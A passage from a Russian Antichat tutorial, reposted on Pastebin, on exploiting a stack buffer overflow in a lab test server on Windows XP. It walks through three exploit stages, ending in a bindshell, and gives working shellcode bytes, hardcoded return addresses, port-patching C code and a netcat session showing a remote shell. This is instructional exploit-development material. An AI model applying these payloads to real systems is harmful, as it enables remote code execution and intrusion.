Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Вступление
- Проблемы локальных переполнений возникли со времен разделения программы на подпрограммы.
- Такие ошибки очень распространены и сейчас их находят почти во всем, что обрабатывает данные,
- введенные пользователем. Например, в браузерах (Internet Explorer IFRAME tag overflow),
- icq-клиентах (Trillian png oveflow), интернет радио (IceCast), архиваторах (WinRAR),
- модулях операционных систем (Windows Lsasrv.dll overflow, Linux ptrace() overflow), FTP,
- MySQL и других серверах (ServU FTP, mysqld, IIS), межсетевых экранах - файрволах
- (iptables integer overflow) и даже играх (Stronghold, и др.). Есть много других похожих
- тем, например Heap overflow (переполнение кучи), перезапись одного байта (в случае,
- когда мы можем перезаписать всего один байт, программа все равно потенциально уязвима),
- и другие.
- В этой статье я расскажу о самых типичных и основных.
- Был выложен сервер и предложение написать эксплойт. Точнее эксплойты, т.к. их 3 штуки.
- Об этом и пойдет речь, (что странно).
- В интернете я встречал только одну статью, которую друг у друга украли тысячи сайтов.
- Там, как и во всех книгах по buffer
- overflow, ничего интересного не написано, максимум - как запустить локальный шелл,
- что в общем то для демонов и серверов, и ненужно совершенно. Я же постарался описать
- (возможно, и смутно) реализацию конкретного bindshella для привязывания cmd.exe к
- определенному порту, и, попутно, другие возможности эксплотирования уязвимости сервера.
- Основы
- И так начнем с основ. Что же такое стек? Стек - область памяти, служащая для записи
- временных данных, используемая
- при вызове функций (или процедур, как их называю, в любом случае - Подпрограмм).
- Для работы со стеком служат специальных регистры процессора (это я объяснять не буду,
- про стек вы можете прочитать другие статьи, ищите в поисковике). Это ESP (SP) и EBP (BP).
- Соответственно 32 и 16 (в скобках) разрядные регистры. Теперь о том, как работает подпрограмма.
- Формально подпрограмма - кусок команд, заканчивающихся возвратом из нее (RETN),
- имеющая возможный работать с параметрами, переданными ей через стек.
- Подпрограмма может быть вызвана из любого места кода, и при завершении
- этой подпрограммы будет осуществлен переход обратно на следующую команду
- после места, из которого она была вызвана. Также подпрограмма может использовать
- локальные (промежуточные), переменные, хранятся которые тоже в стеке.
- Сейчас я не буду углубляться в адреса стека, скажу только, что он работает по
- принципу LIFO - Last In, First Out - последним зашел, первым ушел (Очень много
- книг, в которых описана работа стека). Это значит, что данные при занесении в
- стек добавляются в его вершину, а при извлечении берутся с вершины. То есть самый
- первый байт будет извлечен самым последним. Для занесения/извлечения данных из
- стека есть команды PUSH, POP и некоторые их разновидности (например, PUSHA, POPA).
- Если надо переслать значение DWORD (а 32-разрядные регистры хранят имеено DWORD – 4 байта)
- из EBX в EAX, можно поступить так:
- MOV EAX, EBXM
- а можно и по-другому:
- PUSH EBX
- POP EAX.
- Так, когда вызывается подпрограмма, инструкцией CALL [адрес], в стек записывается адрес
- СЛЕДУЮЩЕЙ после CALL команды. Когда в ф-ии мы натыкаемся на команду RETN, происходит
- извлечение из стека этого адреса и передача управления по этому адресу. То есть в регистр
- EIP записывается извлеченное из стека значение (регистр EIP содержит адрес следующей
- выполненной команды). То есть сохранили место - вызвали ф-ию - восстановили место.
- Также надо заметить, что в стек кроме EIP сохраняется EBP. Таким образом, все работает
- корректно (да, даже программы компании микрософт) – адрес сохраняется, потом восстанавливается
- и управление не теряется. Конечно, все занесенные в стек параметны мы должны извлечь оттуда,
- чтобы при RETN первый DWORD указывал на след. После CALL команду…
- И все было бы хорошо, и статью бы я не писал, если бы не некоторые недочеты программистов.
- Ф-ии передается блок данных (через стек, конечно), а что если в программе не предусмотрена
- проверка на размер этого блока, и он будет превышать размер, для него выделеный? Тогда
- получится так, что, выйдя за границы этого блока, мы перезапишем сохраненные в стеке
- значения EIP и EBP. Что после этого будет, можно догадаться. После команды RETN в ф-ии
- управление будет передано по адресу, который будет извлечен с вершины стека. Мы можем
- манипулировать регистрами EIP и EBP. Тут открывается широкое поле для экспериментов,
- как и в нашем примере с функцией test(), которой передается строка, полученая
- (по сети через сокет) от
- клиента.
- Строка не проверяется на размер, который, кстати, пересылается вначале…
- Далее пойдет речь о том, как можно использовать такую ценную вещь, как изменение EIP и EBP.
- А сделать можно практически всё. Самое частое (и довольно сложное) -
- открыть шелл (Win32 - cmd.exe, command.com, Linux - /bin/bash, /bin/sh и др.)
- на каком-нибудь порте, и потом приконектившись к этому порту, выполнять команды
- через интерпретатор (как я уже не раз говорил). Команды выполняются с правами
- уязвимого приложения. (Кстати, например, если уязвима системная lsasrv.dll –
- дырка в WinXP SP1, то команды выполняются с привилегиями SYSTEM, что похоже на
- root в nix, но это так… отступление). Ну, в общем-то, разобрались, передаем
- слишком длинную строку, тем самым, затирая значения в стеке. Дальше надо подумать
- (что, кстати, опять очень странно).
- Было предложено написать три эксплойта для моего сервера.
- Первый запустит ф-ию fl() в сервере, второй откроет ЛОКАЛЬНЫЙ шелл и третий
- повесит шелл на порт (bindshell, bindport).
- Начнем с самого простейшего - первого.
- Этап 1
- Итак, как несложно догадаться, самым простым способом будет замена значение
- EIP на адрес начала ф-ии fl().
- Тогда, при выходе из test() – при выполнении команды RETN (ее адрес – 0x401073),
- управление передастся по EIP, который указывает на начало fl(), и, следовательно,
- эта ф-ия будет выполнена.
- И нам встречается одна проблема – адрес fl() содержит символы нуля (NULL CHARS, 0x00),
- что расценивается как конец строки большинством ф-ий. Однако, т.к. этот нулевой символ
- должен стоять в самом конце строки (при затирании регистров байты должны записываться
- «наоборот»), проблема пока отпадает, ведь адрес fl() – 0x00401090, а запишем мы 0x90104000
- – только конец строки содержит нуль.
- Но потом, во 2 и 3 варианте мы с ней ещё встретимся.
- Открываем сервер отладчиком (я использую OllyDBG) и находим ее адрес.
- Он, как было сказано, равен 0x00401090.
- Проблем возникнуть не должно - вычисляем, сколько байт способна обработать программа,
- чтобы не было переполнения (тут это 100) и после них пишем ещё четыре (EBP) байта,
- которые в первом случае могут быть произвольные, главное - не нули и ещё четыре – те,
- что заменят EIP. Эти последнии четыре будут содержать "перевернутый" адрес 00401090.
- Почему "перевернутый" - я говорил, что специфика стека такова, что данные должны
- записываться наоборот, т.к. они и извлекаются оттуда наоборот. Это просто логика.
- Строчка выглядит так :
- 0x90 … всего 100 раз … 0x90, 0x10, 0x20, 0x30, 0x40
- (четыре произвольных байта), 0x90, 0x10, 0x40, 0x00 (четыре байта – адрес fl())
- Посылаем серверу размер нашего кода (108) и следом за ним сам код. Ф-ия fl()
- запускается, на экране появляется MessageBox, а потом мы видим ошибку приложения,
- но ничего страшного, ведь fl() запустилась. Так, можно передать управление по любому
- адресу. Читаем дальше.
- Этап 2
- Второй этап. Запуск локального шелла (cmd.exe). Тут все сложнее.
- Нам требуется запустить cmd.exe на машине. на которой работает сервер.
- Команды можно выполнять только с этой же машины. Тут придется использовать значение EBP.
- Давайте подумаем, как лучше передать управление и чему.
- Я делаю так - в EIP пишу адрес команды (точнее набора байтов,
- т.к. реально эти байты не для выполнения) JMP ESP в какой-нибудь
- системной библиотеке. Например, найдем в ntdll.dll.
- Ее адрес - ntdll.77FB59CC. Смотрим отладчиком, что лежит по этому адресу,
- и видим такую картину
- (если у вас WinXP SP1)
- 77FB59CC FFE40400 DD 0004E4FF
- Тут мы видим 0xFF, 0xE4, 0x04, 0x00 байты.
- FF и E4 составляют команду JMP ESP (можете проверить).
- Cha0s, конечно считает, что это не круто - т.к. в разных версиях и даже билдах винды
- эти адреса разные - он просто, так как я не умеет =)) (шутка). В конце концов, можно
- сделать разные адреса для разных систем, как часто делают в эксплойтах.
- ESP указывает на 109-байты-нашей строки (читайте специфику стека) и по переходу на ESP
- управление будет передано на 109-байт строки.
- А вот в EBP (101-104 байты) запишем (внимание) АДРЕС НАЧАЛА СТРОКИ В СТЕКЕ,
- только поXORеный с 0xffffffff. Так у нас получится число, не содержащее нулей (0x00).
- А так как XOR обратима (a xor b xor b = a, если конечно вы не забили на математику
- во втором классе), повторное поXORевание с 0xffffffff даст нам опять адрес начала
- строки в стеке. Он будет содержать нули, но нулей в записи нашего кода НЕ БУДЕТ.
- Начнем со 109 байта писать запуск cmd.exe.
- А сделаем это так.
- XOR EBP, 0xffffffff - теперь EBP опять указывает на начало строки
- PUSH 5 - занесем в стек параметры WinExec (первый параметр)
- PUSH EBP+1 - аналогично (второй)
- CALL WinExec - вызовем ее
- Где 5 - это константа SW_SHOW - для нормального отображения окна.
- В принципе, у меня получалось вместо этого числа подставить и другое.
- Адрес начала строки + 1 - довольно хитро, это нужно для занесения в стек строчки "cmd ".
- Напишем ее со второго байта нашей сплойт-строки. Не с первого, потому что опкоды
- команды PUSH EBP содержат нули, а PUSH EBP+1 - не содержат.
- Далее вызываем WinExec. Правда... Я тут делал, чтобы побыстрее и поэтому выполняется
- не cmd, а cmd PPPPPPP ... P т.к. 0x90 байты (NOP) остались, а символа нуля нет.
- Немного не эстетично (есстественно, совсем не эстетично – прим. здравого рассудка),
- но интерпретатор все равно запуститься корректно.
- Этап 3
- Третьим этапом (самым акуальным) является написание эксплойта для bindshella.
- Он привяжет командный интерпретатор (в Windows - это cmd.exe) к порту, и мы,
- приконектившись к этому порту сможем выполнять команды на уязвимой системе,
- с правами процесса сервера.
- Тут все ещё сложнее. Я взял код с http://metasploit.com
- - отличному сайту, за что
- его авторам спасибо. Правда его придется немного изменять.
- Начнем с того, что код биндшелла занимает сравнительно много - у меня это 344 байта.
- Такой блок никак не удастся передать серверу как обычное сообщение,
- да ещё учитывая то, что первые что байт - мусор, а 101-108 - это байты,
- затирающие EBP и EIP, появляются просто ужасные ограничения (куда без них).
- Меня много раз спрашивали, как же сделать биндшелл - где найти очень маленький код,
- или как хитро передать серверу длинный код. Ответ у меня такой - мы сделаем первый
- блок (назовем эго sc_prepare), в котором будет располагаться код, переполняющий стек
- и вызывающий ф-ию recv(), которая в свою очередь, примет присланный ВТОРОЙ код
- большого размера. О том, как это реализовать, и пойдет речь.
- Ф-ия recv() имеет прототип:
- recv (SOCKET s, void* buf, int size, int flags)
- Мы будем использовать сокет соединения с клиентом, причем хендл его знать не будем,
- только укажем адрес, где этот хендл располагается – 0x423770.
- Адрес буфера – возьмем адрес, куда записываются сообщения клиента – 0x004235D2.
- Размер – возьмем рамер передаваемого шеллкода (ну, например 344), потом размер
- будет высчитываться автоматически. А флаги.… Как обычно, поставим 0.
- Для начала мы напишем те сто байт "мусора". Теперь подумаем, чем заменить
- EBP и EIP. Как и во втором случае, заменим EBP адресом начала строки в стеке,
- поXORеным с 0xffffffff. А в EIP поставим адрес команды JMP ESP в ntdll.dll.
- Управление будет передано на 109 байт строки. Тут будут команды XOR EBP, 0xffffffff
- и JMP EBP. Мы передем к началу строки. Вот тут то и разместим код – у нас есть 100
- байт мусора, в которые будем писать вызов recv(), подготавливающий прием шеллкода.
- Стандартным способом занесем в стек все параметры - хендл сокета, адрес буфера,
- размер и флаги (конечно, наоборот – сначала последний параметр, затем предпоследний и т. д.).
- Вызовем recv(), после которой напишем JMP 0x004235D2, тоесть переход на принятый код.
- Правда под отладчиком (с брекпоинтами) если клиент уже перешлет код, а сервер ещё будет
- приостановлен, ничего не получится - recv() вылетит без ожидания, т.к. соединение уже закрыто.
- А если все нормально, программа остановится, пока в эксплойте мы не вызовем send()
- и не передадим шеллкод. И он будет выполняться. Используется в нем архитектура SEH -
- завершения. Существуют ещё PROCESS и THREAD. Код в OllyDBG выглядит так:
- >>EBP, начало
- [адрес] [дамп] [команда]
- 0012FAB0 33C0 XOR EAX,EAX
- 0012FAB2 50 PUSH EAX
- 0012FAB3 B8 FFFFFFFF MOV EAX, -1
- 0012FAB8 2D C2FEFFFF SUB EAX, -13E
- 0012FABD 50 PUSH EAX
- 0012FABE B8 FFFFFFFF MOV EAX,-1
- 0012FAC3 2D 2DCABDFF SUB EAX, FFBDCA2D
- 0012FAC8 50 PUSH EAX
- 0012FAC9 B8 FFFFFFFF MOV EAX, -1
- 0012FACE 2D 8FC8BDFF SUB EAX, FFBDC88F
- 0012FAD3 8B08 MOV ECX,[DWORD DS:EAX]
- 0012FAD5 51 PUSH ECX
- 0012FAD6 E8 B55B9671 CALL WS2_32.recv >>>>>>>> ВЫЗОВ <<<<<<<<
- Стек так (перед 0x012FAD6 CALL WS2_32.recv):
- >>ESP
- [адрес] [дамп] [комментарий]
- 0012FF20 00000054 |Socket = 54
- 0012FF24 004235D2 |Buffer = Server.004235D2
- 0012FF28 0000013D |BufSize = 13D (317.)
- 0012FF2C 00000000 \Flags = 0
- А вот как выглядит sc_prepare :
- /* prepare */
- char sc_prepare[] =
- /* xor eax,eax */ "\x33\xc0"
- /* push eax */ "\x50"
- /* mov eax,-1 */ "\xb8\xff\xff\xff\xff"
- /* sub eax,-159 */ "\x2d\x90\x90\x90\x90" /* sc size, will be rewrited ! */
- /* push eax */ "\x50"
- /* mov eax,-1 */ "\xb8\xff\xff\xff\xff"
- /* sub eax,0xffbdca2d */ "\x2d\x2d\xca\xbd\xff"
- /* push eax */ "\x50"
- /* mov eax,-1 */ "\xb8\xff\xff\xff\xff"
- /* sub eax,0xffbdc8ff */ "\x2d\x8f\xc8\xbd\xff"
- /* mov eax,[dword ds:eax] */ "\x8b\x08"
- /* push ecx */ "\x51"
- /* call ws2_32.recv */ "\xe8\xb5\x5b\x96\x71"
- /* mov eax,-1 */ "\xb8\xff\xff\xff\xff"
- /* sub eax,0xffbdca2d */ "\x2d\x2d\xca\xbd\xff"
- /* jmp eax */ "\xff\xe0"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- /* nops - 0x90 */ "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90"
- /* EBP = 0xffed054f */ "\x4f\x05\xed\xff"
- /* EIP = jmp esp */ "\xcc\x59\xfb\x77"
- /* xor ebp,0xffffffff */ "\x81\xf5\xff\xff\xff\xff"
- /* jmp ebp */ "\xff\xe5";
- Теперь можно конектится, например, netcat'ом (telnet я ненавижу) на порт, который будет
- задан при генерации шеллкода (в программе есть место, где два байта по определенному
- смещению заменяются третьим параметром, введенным в командной строке - это порт) и
- получить шелл. Telnet после первой команды DIR прекращает возможность ввода команд.
- Наша программа тут не при чем - для майкрософт это не удивительно, обязательно
- что-то должно заглючить. В NETCAT'е же все, конечно, будет нормально.
- Все опкоды команд не имеют нулей - для этого
- чтобы занести в стек NUMBER_B надо сделать так
- MOV EAX, -1 или MOV EAX, 0xffffffff
- SUB EAX, NUMBER_A где NUMBER_A – это 0xffffffff минус NUMBER_B
- PUSH EAX
- Опять же, простейшая математика: a = b – (b – a). Только в записи опкодов нет
- нулей, что радует.
- Тут встает проблема - а что, если мы захотим заменить наш шеллкод на что-то
- другое, например, на код, который создает в с-ме юзера? Или на ещё что-то.
- У этого кода будет другой размер. Что же, каждый раз считать 0xffffffff
- минус размер и ставить в sc_prepate вручную?
- Нет, давайте лучше сделаем это автоматом - будем вычислять DWORD -
- значение размера и ставить соотв.
- LOBYTE (LOWORD), HIBYTE (LOWORD), LOBYTE (HIWORD) и HIBYTE (HIWORD)
- байты по определенному смещению в sc_prepare. Смещение можно посмотреть в исходнике.
- Вычисляем size of(sc_bindport) и ставим эти байты в sc_prepare.
- Сначала обьявим значения, которые вычисляются динамически :
- /* define sc sizes */
- char PREPARE_SIZE = sizeof( sc_prepare ) - 1;
- DWORD BINDPORT_SIZE = sizeof( sc_bindport ) - 1;
- /* BINDPORT_SIZE = 0xffffffff - MAXDWORD_WITHOUT_BINDPORTSIZE */
- DWORD MAXDWORD_WITHOUT_BINDPORTSIZE
- = ( 0xffffffff - BINDPORT_SIZE );
- Где PREPARE_SIZE - размер sc_prepare.
- BINDPORT_SIZE - размер sc_bindport;
- MAXDWORD_WITHOUT_BINDPORTSIZE - 0xffffffff МИНУС размер sc_bindport (для подстановки)
- А теперь можно так подставить размер в sc_prepare, который заносится в стек для recv() :
- /* inserting sc_bindport size into sc_prepare */
- memset( sc_prepare+9, LOBYTE( LOWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
- memset( sc_prepare+10, HIBYTE( LOWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
- memset( sc_prepare+11, LOBYTE( HIWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
- memset( sc_prepare+12, HIBYTE( HIWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
- Для этого в исходнике есть комментарии к каждой (!) команде - опкоду (они написаны слева).
- Далее. Наш шеллкод сгенерирован на прослушку 28876 порта.
- Я сгенерил ещё один код на 28877 порта и посмотрел различия.
- Для актуальных различий нужно поставить Encoder:None
- (я говорю про http://metasploit.com).
- Тогда можно найти два различных байта, перевести их совокупность (MAKEWORD) в
- WORD тип и посмотреть десятичное представление. Вы получите введенный при
- генерации порт. Мы хотим сделать так, чтобы пользователь мог выбирать порт из
- командной строки. Так сделаем же так, чтобы полученное WORD значение записывалось,
- опять же, по некоторому смещению в sc_bindport, которое можно посмотреть в исходнике.
- Значение (порт) имеет тип WORD, это два байта.
- Тут нужно использовать только HIBYTE и LOBYTE.
- Для тех, кто не знает, зачем нужны ф-ии HIBYTE, LOBYTE и т д - эти ф-ии возвращают старший
- и младший байт предоставленного WORD - значения. Аналогично с HIWORD, LOWORD - они
- возвращают старшие и младшие WORD (2 BYTE) значение из предоставленного DWORD (4 BYTE).
- Записали порт по нужному смещению в
- sc_bindport и все.
- Вот кусок кода :
- /* inserting Bind_Port into sc_bindport */
- memset( sc_bindport+162, HIBYTE( Bind_Port ), 1 );
- memset( sc_bindport+163, LOBYTE( Bind_Port ), 1 );
- Теперь выбор порта для шелла готов!
- А ещё теперь мы не зависим от размера sc_bindport, т.к. он подставляется
- в sc_prepare автоматически. Мы можем взять вместо 344 байт sc_bindport'а,
- коды, например, создание нового юзера в WinXP, который занимает намного меньше.
- (Только, конечно, уже ненада подставлять введенный порт в sc_bindport)
- Ещё разок вкратце:
- Код sc_prepare, отсылаясь, переполняет буфер, вызывает ф-ию recv(),
- которая ждет когда сплойт передаст серверу шеллкод и запускает его.
- В сплойте сделана задержка - Sleep(sleeptime) - для того чтобы показать,
- что сервер будет ждать сколько угодно, ведь recv() вызвана в главном потоке.
- Вы можете менять константу sleeptime как хотите (в разумных пределах).
- Ещё скриншот:
- Сервер ждет соединений на 28876 порт
- Почти конец
- Рекомендую открыть сервер отладчиком - я использовал OllyDBG -
- этот отличный отладчик незаменимо помог мне в написании сплойта.
- Никаких ошибок после завершения коннекта нетката (или телнета) с сервером не возникает.
- (SEH-завершение).
- Хочу заметить, что шеллкод вы могли написать и сами, но об этом я хотел рассказать вам в
- части 2. Так что лутше возьмите с метасплойта.
- У них замечательные PAYLOADсы причем нетолько для бинда, но и для добавления юзеров,
- reverse-bind’а и вообще много для чего.
- Запускать мой testsrv-expl надо так
- >testsrv-expl.exe IP-адрес порт биндпорт
- Например (все вместе):
- >
- >server.exe
- >testsrv-expl.exe 127.0.0.1 8877 28876
- >nc 127.0.0.1 28876
- >
- M*crosoft Windows XP [Версия 5.1.2600]
- (С) Корпорация Майкрософт, 1985-2001.
- …
- >ver
- M*crosoft Windows XP [Версия 5.1.2600]
- >
- И ещё скриншот:
- "Взлом" сервера
- И так, вот архив : [url]
- Тут вы можете скачать:
- - Мой эксплойт для bindshell (exe, sources)
- - Эксплойт cha0s'а для bindshell (exe, sources)
- - Сервер
- - Эту статью (stack.html)
- - Шаблон клиента
- - Исходники сервера
- Исходники из двух первых этапов (fl(), local shell) я не выкладываю, попробуйте их
- написать сами, благо это не сложно, я, если что, подскажу.
- Все компилируется C++ компилятором, у меня Visual C++ 6.0.
- Конечно, будет куча вопросов - куда без них... Шлите мне все на емейл, возможно поговорим
- в аське.
- Спасибо:
- - Как я уже не раз говорил http://metasploit.com/ - за payloads для никсов и винды!
- - Посетителям античата - именно они помогли перебороть лень (ПИШИ РЕЩЕ! ЧЕ ТЯЖЕЛО ШОЛЬ?)
- - Cha0s - за написание другого сплойта
- - Expl.0ziv - аналогично, работал вместе с cha0s'ом
- Ссылки:
- http://www.icqkid.com/down.php - тут можно найти ссылку на Borland C++ 5 (CLT)
- http://metasploit.com - тут можно взять шеллкоды на все случаи жизни. Представлены
- шеллкоды для MacOS, Unix, IRIX, Windows и др.
- http://slipknot1.com - Death Metal тоже круто помог мне (лирическое отступление)
- http://antimicrosoft.com - просто мне приятно... век бы набирал в браузере эту строчку!
- http://int3.net - как известно, int 3 (3 прерывание) используют
- отладчики для установки брекпоинтов. Сайт посвящен всему, что касается Reverse Engineeing.
- Post-script'um
- P.S. Этот сервер я украл у Че Гевары, эксплойт сам не могу написать,
- поэтому попросил вас, идея была SladerNON’а а статью за меня написал Егор,
- за что всем большое спасибо (шутка).
- (C) KEZ
- Antichat
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement